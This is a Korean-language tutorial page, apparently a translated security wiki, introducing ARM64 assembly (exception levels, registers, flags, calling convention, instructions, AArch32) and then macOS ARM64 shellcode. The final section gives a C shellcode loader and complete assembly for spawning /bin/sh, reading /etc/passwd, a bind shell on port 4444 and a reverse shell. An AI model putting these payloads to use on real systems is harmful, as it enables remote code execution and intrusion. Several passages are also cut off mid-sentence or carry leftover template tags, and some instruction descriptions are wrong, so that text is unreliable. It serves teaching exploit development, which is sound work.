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ARM64v8 소개

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예외 레벨 - EL (ARM64v8)

ARMv8 아키텍처에서 실행 레벨인 예외 레벨 (EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 총 네 가지 예외 레벨이 있으며 각각 다른 목적으로 사용됩니다:

EL0 - 사용자 모드:

이는 가장 낮은 권한 수준으로 일반 응용 프로그램 코드를 실행하는 데 사용됩니다.
EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안과 안정성을 향상시킵니다.

EL1 - 운영 체제 커널 모드:

대부분의 운영 체제 커널은 이 수준에서 실행됩니다.
EL1은 EL0보다 더 많은 권한을 가지며 시스템 리소스에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.

EL2 - 하이퍼바이저 모드:

이 수준은 가상화에 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 실행되는 여러 운영 체제 (각각의 EL1)를 관리할 수 있습니다.
EL2는 가상화 환경의 격리 및 제어 기능을 제공합니다.

EL3 - 보안 모니터 모드:

이는 가장 높은 권한 수준으로 일반적으로 안전한 부팅 및 신뢰할 수 있는 실행 환경에 사용됩니다.
EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다 (예: 안전한 부팅, 신뢰할 수 있는 운영 체제 등).

이러한 수준의 사용은 사용자 응용 프로그램부터 가장 높은 권한을 가진 시스템 소프트웨어까지 시스템의 다양한 측면을 구조화하고 안전하게 관리하는 데 도움이 됩니다. ARMv8의 권한 수준 접근 방식은 다른 시스템 구성 요소를 효과적으로 격리하여 시스템의 보안성과 견고성을 향상시킵니다.

레지스터 (ARM64v8)

ARM64에는 x0에서 x30까지 레이블이 지정된 31개의 범용 레지스터가 있습니다. 각 레지스터는 64비트 (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업에 대해서는 동일한 레지스터를 w0에서 w30까지의 이름을 사용하여 32비트 모드로 액세스할 수 있습니다.

**x0**에서 **x7**까지 - 이들은 일반적으로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.

**x0**은 함수의 반환 데이터도 운반합니다.

x8 - Linux 커널에서 x8은 svc 명령어의 시스템 호출 번호로 사용됩니다. macOS에서는 x16이 사용됩니다!
**x9**에서 **x15**까지 - 추가적인 임시 레지스터로서 주로 로컬 변수에 사용됩니다.
**x16**과 x17 - 함수 내부 호출 레지스터. 즉시 값에 대한 임시 레지스터입니다. 또한 간접 함수 호출 및 PLT (Procedure Linkage Table) 스텁에 사용됩니다.

**x16**은 macOS에서 svc 명령어의 시스템 호출 번호로 사용됩니다.

x18 - 플랫폼 레지스터. 일반적인 목적으로 사용될 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다. Windows의 현재 스레드 환경 블록에 대한 포인터 또는 Linux 커널에서 현재 실행 중인 작업 구조체를 가리키는 포인터입니다.
**x19**에서 **x28**까지 - 이들은 호출자가 호출자를 위해 이들 레지스터의 값을 보존해야 하므로 호출자가 이전으로 돌아가기 전에 스택에 저장되고 복구되어야 하는 callee-saved 레지스터입니다.
x29 - 스택 프레임을 추적하기 위한 프레임 포인터입니다. 함수 호출로 인해 새로운 스택 프레임이 생성되면 x29 레지스터가 스택에 저장되고 새로운 프레임 포인터 주소 (sp 주소)가 이 레지스터에 저장됩니다.

이 레지스터는 일반적인 목적 레지스터로 사용될 수도 있지만 일반적으로 로컬 변수를 참조하는 데 사용됩니다.

x30 또는 lr - 링크 레지스터. BL (Branch with Link) 또는 BLR (Branch with Link to Register) 명령어가 실행될 때 pc 값을 이 레지스터에 저장하여 리턴 주소를 보유합니다.

다른 레지스터와 마찬가지로 사용할 수도 있습니다.

sp - 스택 포인터, 스택의 맨 위를 추적하는 데 사용됩니다.

sp 값은 항상 적어도 **

PSTATE

PSTATE에는 여러 프로세스 구성 요소가 직렬화되어 운영 체제에서 볼 수 있는 SPSR_ELx 특수 레지스터에 저장됩니다. 여기서 X는 트리거된 예외의 권한 수준입니다(이를 통해 예외가 종료될 때 프로세스 상태를 복구할 수 있습니다).
다음은 접근 가능한 필드입니다:

N, Z, C, V 조건 플래그:
**N**은 연산 결과가 음수임을 의미합니다.
**Z**는 연산 결과가 0임을 의미합니다.
**C**는 연산이 캐리됨을 의미합니다.
**V**는 연산 결과가 부호 오버플로우임을 의미합니다:
두 양수의 합은 음수 결과를 낳습니다.
두 음수의 합은 양수 결과를 낳습니다.
뺄셈에서 큰 음수가 작은 양수에서 뺄 때(또는 그 반대의 경우) 결과가 주어진 비트 크기의 범위 내에 표현될 수 없는 경우입니다.

{% hint style="warning" %} 모든 명령은 이러한 플래그를 업데이트하지 않습니다. CMP 또는 **TST**와 같은 일부 명령은 업데이트하며, **ADDS**와 같은 s 접미사가 있는 다른 명령도 업데이트합니다. {% endhint %}

현재 레지스터 너비 (nRW) 플래그: 플래그가 값 0을 가지면 프로그램은 재개되면서 AArch64 실행 상태에서 실행됩니다.
현재 예외 수준 (EL): EL0에서 실행되는 일반 프로그램은 값 0을 가집니다.
단계별 실행 플래그 (SS): 디버거가 단계별로 실행하기 위해 예외를 통해 SPSR_ELx 내부의 SS 플래그를 1로 설정하는 데 사용됩니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
잘못된 예외 상태 플래그 (IL): 특권 소프트웨어가 잘못된 예외 수준 전송을 수행할 때 이 플래그가 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
DAIF 플래그: 이러한 플래그를 사용하여 특권 프로그램이 특정 외부 예외를 선택적으로 마스크할 수 있습니다.
A가 1이면 비동기 중단이 트리거됩니다. **I**는 외부 하드웨어 인터럽트 요청 (IRQ)에 응답하도록 구성하고, F는 빠른 인터럽트 요청 (FIR)과 관련이 있습니다.
스택 포인터 선택 플래그 (SPS): EL1 이상에서 실행되는 특권 프로그램은 자체 스택 포인터 레지스터와 사용자 모델 스택 포인터 레지스터(예: SP_EL1 및 EL0 사이)를 교환할 수 있습니다. 이 교환은 SPSel 특수 레지스터에 쓰기를 통해 수행됩니다. 이는 EL0에서 수행할 수 없습니다.

호출 규약 (ARM64v8)

ARM64 호출 규약은 함수의 첫 번째 여덟 개의 매개변수가 **x0**에서 x7 레지스터를 통해 전달되어야 함을 지정합니다. 추가적인 매개변수는 스택에 전달됩니다. 반환 값은 레지스터 **x0**에 반환되거나 128비트인 경우 **x1**에도 반환됩니다. **x19**에서 x30 및 sp 레지스터는 함수 호출 간에 보존되어야 합니다.

어셈블리에서 함수를 읽을 때 함수 프롤로그와 에필로그를 찾으세요. 프롤로그는 일반적으로 프레임 포인터 (x29)를 저장, 새 프레임 포인터를 설정하고 스택 공간을 할당하는 것을 포함합니다. 에필로그는 일반적으로 저장된 프레임 포인터를 복원하고 함수에서 반환하는 것을 포함합니다.

Swift에서의 호출 규약

Swift에는 자체 호출 규약이 있으며 https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64에서 찾을 수 있습니다.

일반적인 명령어 (ARM64v8)

ARM64 명령어는 일반적으로 opcode dst, src1, src2 형식을 가지며, 여기서 **opcode**는 수행할 연산(add, sub, mov 등)을 나타내고, **dst**는 결과가 저장될 대상 레지스터이고, **src1**과 **src2**는 소스 레지스터입니다. 소스 레지스터 대신 즉시 값도 사용할 수 있습니다.

mov: 한 레지스터에서 다른 레지스터로 값을 이동합니다.
예시: mov x0, x1 — 이는 x1의 값을 x0로 이동합니다.
ldr: 메모리에서 값을 로드하여 레지스터에 저장합니다.
예시: ldr x0, [x1] — 이는 x1이 가리키는 메모리 위치에서 값을 x0에 로드합니다.
str: 레지스터의 값을 메모리에 저장합니다.
예시: str x0, [x1] — 이는 x0의 값을 x1이 가리키는 메모리 위치에 저장합니다.
ldp: 레지스터 쌍 로드. 이 명령은 연속적인 메모리 위치에서 두 개의 레지스터를 로드합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 더하여 형성됩니다.
예시: `ldp x0,
bfm: 비트 필드 이동, 이러한 연산은 값을 복사하여 다른 위치에 배치합니다. **#s**는 가장 왼쪽 비트 위치를 지정하고 **#r**은 오른쪽으로 회전할 양을 지정합니다.
비트 필드 이동: BFM Xd, Xn, #r
부호 있는 비트 필드 이동: SBFM Xd, Xn, #r, #s
부호 없는 비트 필드 이동: UBFM Xd, Xn, #r, #s
비트 필드 추출 및 삽입: 레지스터에서 비트 필드를 복사하여 다른 레지스터에 복사합니다.
BFI X1, X2, #3, #4 X2의 3번째 비트부터 4개의 비트를 X1에 삽입합니다.
BFXIL X1, X2, #3, #4 X2의 3번째 비트부터 4개의 비트를 추출하여 X1에 복사합니다.
SBFIZ X1, X2, #3, #4 X2에서 4개의 비트를 추출하고 X1의 3번째 비트 위치부터 삽입하며 오른쪽 비트를 0으로 설정합니다.
SBFX X1, X2, #3, #4 X2에서 3번째 비트부터 4개의 비트를 추출하고 부호를 확장하여 결과를 X1에 저장합니다.
UBFIZ X1, X2, #3, #4 X2에서 4개의 비트를 추출하고 X1의 3번째 비트 위치부터 삽입하며 오른쪽 비트를 0으로 설정합니다.
UBFX X1, X2, #3, #4 X2에서 3번째 비트부터 4개의 비트를 추출하고 0으로 확장된 결과를 X1에 저장합니다.
X로 확장하기: 값을 확장하여 연산을 수행할 수 있도록 부호를 확장합니다 (또는 부호 없는 버전에서는 0을 추가합니다).
SXTB X1, W2 W2에서 X1로 바이트의 부호를 확장합니다 (W2는 X2의 절반입니다) 64비트를 채우기 위해
SXTH X1, W2 W2에서 X1로 16비트 숫자의 부호를 확장합니다 64비트를 채우기 위해
SXTW X1, W2 W2에서 X1로 바이트의 부호를 확장합니다 64비트를 채우기 위해
UXTB X1, W2 W2에서 X1로 바이트에 0을 추가하여 64비트를 채웁니다
extr: 지정된 두 레지스터 쌍에서 비트를 추출합니다.
예: EXTR W3, W2, W1, #3 이는 W1+W2를 연결하고 W2의 3번째 비트부터 W1의 3번째 비트까지 가져와 W3에 저장합니다.
bl: 링크가 있는 분기, 서브루틴을 호출하는 데 사용됩니다. **x30**에 복귀 주소를 저장합니다.
예: bl myFunction — 이는 함수 myFunction을 호출하고 반환 주소를 x30에 저장합니다.
blr: 레지스터로 링크가 있는 분기, 레지스터에 지정된 대상의 서브루틴을 호출하는 데 사용됩니다. **x30**에 복귀 주소를 저장합니다.
예: blr x1 — 이는 x1에 포함된 주소를 가진 함수를 호출하고 반환 주소를 x30에 저장합니다.
ret: 서브루틴에서 반환, 일반적으로 **x30**의 주소를 사용합니다.
예: ret — 현재 서브루틴에서 x30의 반환 주소를 사용하여 반환합니다.
cmp: 두 레지스터를 비교하고 조건 플래그를 설정합니다. 목적 레지스터를 제로 레지스터로 설정하는 **subs**의 별칭입니다. m == n인지 알 수 있는 유용한 명령입니다.
**subs**와 동일한 구문을 지원합니다.
예: cmp x0, x1 — 이는 x0와 x1의 값을 비교하고 조건 플래그를 설정합니다.
cmn: 음수 비교 연산. 이 경우 **adds**의 별칭이며 동일한 구문을 지원합니다. m == -n인지 알 수 있는 유용한 명령입니다.
tst: 레지스터의 값 중 하나가 1인지 확인합니다 (결과를 어디에도 저장하지 않고 ANDS와 같이 작동합니다).
예: tst X1, #7 X1의 마지막 3비트 중 하나가 1인지 확인합니다.
b.eq: 같으면 분기, 이전의 cmp 명령을 기반으로 합니다.
예: b.eq label — 이전의 cmp 명령에서 두 값이 동일한 경우 label로 이동합니다.
b.ne: 같지 않으면 분기. 이 명령은 조건 플래그를 확인하고 (이전 비교 명령에 의해 설정됨) 비교한 값이 같지 않으면 레이블이나 주소로 분기합니다.
예: cmp x0, x1 명령 후 b.ne label — x0와 x1의 값이 같지 않으면 label로 이동합니다.
cbz: 0일 때 분기. 이 명령은 레지스터와 0을 비교하고 같으면 레이블이나 주소로 분기합니다.
예: cbz x0, label — x0의 값이 0이면 label로 이동합니다.
cbnz: 0이 아닐 때 분기. 이 명령은 레지스터와 0을 비교하고 같지 않으면 레이블이나 주소로 분기합니다.
예: cbnz x0, label — x0의 값이 0이 아니면 label로 이동합니다.
adrp: 심볼의 페이지 주소를 계산하고 레지스터에 저장합니다.
예: adrp x0, symbol — symbol의 페이지 주소를 계산하여 x0에 저장합니다.
ldrsw: 메모리에서 부호 있는 32비트 값을 로드하고 64비트로 확장합니다.
예: ldrsw x0, [x1] — x1이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고 64비트로 확장하여 x0에 저장합니다.
stur: 레지스터 값을 메모리 위치에 저장합니다. 다른 레지스터로부터의 오프셋을 사용합니다.
예: stur x0, [x1, #4] — x1에 현재 주소보다 4바이트 큰 메모리 주소에 x0의 값을 저장합니다.
svc : 시스템 호출을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 사용자 모드에서 커널 모드로 전환하고 커널의 시스템 호출 처리 코드가 있는 메모리의 특정 위치로 이동합니다.
예:

mov x8, 93  ; 시스템 호출 번호 93을 레지스터 x8에 로드합니다.
mov x0, 0   ; 종료 상태 코드 0을 레지스터 x0에 로드합니다.
svc 0       ; 시스템 호출을 수행합니다.

함수 프롤로그

링크 레지스터와 프레임 포인터를 스택에 저장:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; x29과 x30을 스택에 저장하고 스택 포인터를 감소시킴

{% endcode %} 2. 새로운 프레임 포인터 설정: mov x29, sp (현재 함수에 대한 새로운 프레임 포인터 설정) 3. 로컬 변수를 위한 스택에 공간 할당 (필요한 경우): sub sp, sp, <size> (는 필요한 바이트 수)

함수 에필로그

로컬 변수 해제 (할당된 경우): add sp, sp, <size>
링크 레지스터와 프레임 포인터 복원:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

Return: ret (링크 레지스터에 있는 주소를 사용하여 호출자에게 제어를 반환합니다)

AARCH32 실행 상태

Armv8-A는 32비트 프로그램의 실행을 지원합니다. AArch32는 두 개의 명령어 집합인 **A32**와 T32 중 하나로 실행될 수 있으며 **interworking**을 통해 이들 사이를 전환할 수 있습니다.
특권을 가진 64비트 프로그램은 낮은 특권 수준의 32비트로의 예외 수준 전환을 실행함으로써 32비트 프로그램의 실행을 예약할 수 있습니다.
64비트에서 32비트로의 전환은 예외 수준의 낮은 부분에서 발생합니다(예: EL1에서 64비트 프로그램이 EL0에서 실행되는 프로그램을 트리거하는 경우). 이는 AArch32 프로세스 스레드가 실행 준비가 되었을 때 SPSR_ELx 특수 레지스터의 비트 4를 1로 설정하여 수행되며, 나머지 SPSR_ELx는 AArch32 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 ERET 명령을 호출하여 프로세서가 **AArch32**로 전환되고 CPSR에 따라 A32 또는 T32로 진입합니다.

**interworking**은 CPSR의 J 및 T 비트를 사용하여 수행됩니다. J=0 및 T=0은 **A32**를 의미하며, J=0 및 T=1은 T32를 의미합니다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 가장 낮은 비트를 1로 설정하는 것을 의미합니다.
이는 interworking 분기 명령어를 통해 설정되지만, PC가 대상 레지스터로 설정될 때 다른 명령어로 직접 설정될 수도 있습니다. 예시:

다른 예시:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

레지스터

32비트 레지스터(r0-r15)가 16개 있습니다. r0부터 r14까지는 어떤 작업에나 사용할 수 있지만, 일부는 일반적으로 예약되어 있습니다:

r15: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
r11: 프레임 포인터
r12: 프로시저 간 호출 레지스터
r13: 스택 포인터
r14: 링크 레지스터

또한, 레지스터는 **은행화된 레지스터**에 백업됩니다. 이는 예외 처리 및 권한 있는 작업에서 빠른 컨텍스트 전환을 수행하기 위해 레지스터 값을 저장하는 위치입니다. 이를 위해 예외가 발생하는 프로세서 모드의 CPSR에서 프로세서 상태를 SPSR로 저장합니다. 예외가 반환되면 CPSR은 SPSR에서 복원됩니다.

CPSR - 현재 프로그램 상태 레지스터

AArch32에서 CPSR은 AArch64의 **PSTATE**와 유사하게 작동하며, 예외가 발생하여 나중에 실행을 복원하기 위해 **SPSR_ELx**에 저장됩니다:

필드는 몇 가지 그룹으로 나뉩니다:

응용 프로그램 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).

응용 프로그램 프로그램 상태 레지스터 (APSR)

N, Z, C, V 플래그 (AArch64와 동일)
Q 플래그: 특수 포화 산술 명령어 실행 중에 정수 포화가 발생하면 1로 설정됩니다. 한 번 1로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암묵적으로 확인하는 명령어는 없으며, 수동으로 읽어야 합니다.
GE (크거나 같음) 플래그: "병렬 덧셈" 및 "병렬 뺄셈"과 같은 SIMD (단일 명령어, 다중 데이터) 작업에 사용됩니다. 이러한 작업은 하나의 명령어로 여러 데이터 포인트를 처리할 수 있습니다.

예를 들어, UADD8 명령은 병렬로 4쌍의 바이트(두 개의 32비트 피연산자에서)를 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과에 기반하여 APSR의 GE 플래그를 설정합니다. 각 GE 플래그는 바이트 덧셈 중 하나에 해당하며, 해당 바이트 쌍에 대한 덧셈이 오버플로되었는지 여부를 나타냅니다.

SEL 명령은 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.

실행 상태 레지스터

J 및 T 비트: **J**는 0이어야 하며, **T**가 0이면 A32 명령 세트를 사용하고, 1이면 T32를 사용합니다.
IT 블록 상태 레지스터 (ITSTATE): 이는 10-15 및 25-26 비트입니다. IT 접두사 그룹 내의 명령에 대한 조건을 저장합니다.
E 비트: 엔디안을 나타냅니다.
모드 및 예외 마스크 비트 (0-4): 현재 실행 상태를 결정합니다. 5번째 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 예외 모드를 나타냅니다(예외가 발생하고 처리 중일 때). 숫자 집합은 이 처리 중에 다른 예외가 트리거될 경우 현재 우선 순위를 나타냅니다.

AIF: 특정 예외는 비트 A, I, F를 사용하여 비활성화할 수 있습니다. **A**가 1이면 비동기 중단이 트리거됩니다. **I**는 외부 하드웨어 인터럽트 요청 (IRQ)에 응답하도록 구성하며, F는 빠른 인터럽트 요청 (FIR)과 관련이 있습니다.

macOS

BSD 시스콜

syscalls.master를 확인하세요. BSD 시스콜은 x16 > 0일 것입니다.

Mach Traps

syscall_sw.c를 확인하세요. Mach traps는 x16 < 0이므로 이전 목록의 숫자를 음수로 호출해야 합니다. **_kernelrpc_mach_vm_allocate_trap**은 **-10**입니다.

또한, 이러한 (및 BSD) 시스콜을 호출하는 방법을 찾기 위해 디스어셈블러에서 **libsystem_kernel.dylib**를 확인할 수 있습니다.

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} 때로는 **libsystem_kernel.dylib**의 디컴파일된 코드를 확인하는 것이 소스 코드를 확인하는 것보다 쉽습니다. 왜냐하면 여러 syscalls (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하세요), dylib에서 호출되는 내용을 찾을 수 있기 때문입니다. {% endhint %}

쉘코드

컴파일하기 위해:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

바이트를 추출하려면:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

쉘코드를 테스트하기 위한 C 코드

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### 쉘

[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용이며 설명되어 있습니다.

{% tabs %}
{% tab title="adr를 사용한 경우" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% tab title="스택을 사용하여" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %} {% endtabs %}

cat으로 읽기

목표는 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)를 실행하는 것이므로, 두 번째 인자 (x1)는 매개변수의 배열입니다 (메모리에서는 주소의 스택을 의미합니다).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

메인 프로세스가 종료되지 않도록 포크에서 sh를 사용하여 명령 실행하기

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

바인드 쉘

바인드 쉘은 https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s에서 포트 4444로 사용할 수 있습니다.

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

리버스 쉘

https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s에서 127.0.0.1:4444로 리버스 쉘을 실행합니다.

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337